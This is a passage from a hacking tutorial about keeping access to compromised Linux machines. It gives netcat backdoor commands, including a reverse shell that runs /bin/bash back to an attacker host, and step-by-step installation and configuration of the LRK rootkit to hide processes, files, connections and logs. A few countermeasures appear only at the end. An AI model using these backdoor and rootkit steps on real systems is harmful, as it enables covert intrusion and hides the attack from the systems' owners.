This is telling netcat to be extra verbose (give as much information to the attacker as possible), to listen on port 65532, and on a connect they are passed onto /home/joeuser/weekly-report (a setuid shell). Next the attacker will want to connect to the system via the port they just opened.
nc -vv target.nosecurity.org 65532
This will now give them a root prompt on the target machine! Again this is easy to spot for the admins if they notice that an extra port is listening. Netcat is also particularly useful to get a "backwards" shell, this means that rather than you connect to the target system, you get the target system to connect to you. For the computer to connect to you, you will need to setup netcat running on a port on your own system, using the following command:
nc -vv -l -p 632
Then to make the server connect back to you, on the server enter:
nc -e /bin/bash hackerbox.badboy.org 632
This will tell the server to run /bin/bash and connect to your system. So now you have the same control over a computer as if it were a telnet session to the target, the only difference is that the target machine has connected to you, this method may be seen as a little more stealthier; as a port scanner will not show any ports open and you have made no modifications that any file integrity checker will notice, but this method still leaves a large trail, as the netstat command will reveal connections to your computer (which will show your IP address - not good), as netstat is such a popular command this type of method to maintain access is pretty easy to spot.

Rootkits:
One of the easiest methods to keep hold of a system is through a rootkit. Rootkits although easy to spot - are hell for admins to remove. Generally rootkits have 4 typical stages:
- Replace important programs with modified copies.
- Create additional users with root powers.
- Create amethod of re-entry (usually involves a listening service asking for a password only - so no other attackers can break in).
- Setup network sniffing software.

Rootkits are very popular, and there are quite a few designed specifically for Linux, some of these include:
- Linux Rootkit (LRK)
- Adore.
- Tuxkit

In this manual I will discuss LRK, this is because it is easily the most famous rootkit out there. Currently LRK is at version 5, and can be obtained from the 'tools' section at http://www.securityfocus.com/. LRK is a very clever piece of kit, it has a number of backdoors into the system, and tools for covering your tracks and privilage escalation.
LRK contains the following tools/ trojaned programs
du, find, lsTrojaned! Hide files.
crontabTrojaned! Hidden Crontab Entries.
ifconfigHides the PROMISC flag in its normal output (Useful if the attacker sets up a network sniffer).
netstatTrojaned! Hide connections.
tcpdTrojaned! Hide connections, avoid denies.
top, ps, pidofTrojaned! Hide processes.
syslogdTrojaned! Hide logs.
killallTrojaned! Wont kill hidden processes.
bindshellPort/shell type daemon!
chfn, chsh, passwdTrojaned! User->r00t.
inetd, login, rshd, sshdTrojaned! Remote access.
ADMSniffNetwork sniffer.
fixChanges timestamp and checksum information on files.
wtedwtmp/ utmp editor!
fixFile fixer!
z2(Zap 2) utmp/ wtmp/ lastlog eraser!
# ./configure
# make all install
 (for standard install)
or
# make shadow install (if the computer uses shadow passwords)

Now the rootkit is installed you will need to modify 4 files:
  • /dev/ptyq - this sets network connections that should be ignored, based on incoming and outgoing addresses, uid or ports.
  • /dev/ptyr - this sets file or directory names to be ignored.
  • /dev/ptyp - this sets what processes to ignore, based on uid, tty, or command-line matches.
  • /dev/ptys - this sets what syslog entries to ignore, based on pattern matches.
Now the rootkit is setup! I would recommend having a read through the README file provided with LRK first before you attempt to use this rootkit!
************
Countermeasures:
1) Make sure you run some type of file integrity checker! This will spot any trojaned binaries and modified files.
2) Make a rootkit recovery cd or floppy, on the disk you should include: lsnetstatpstopifconfigfindkillallstracestringslsof,grep, mountdiffchkwtmp, and any other programs you may regularly use that might be replaced be a hacker, or that might give you information on the attack.
3) Log as much as you can, allow extra logging in /etc/login.defs, use swatch to monitor logs, use snort or some other form of IDS to try to catch these attackers early. 
************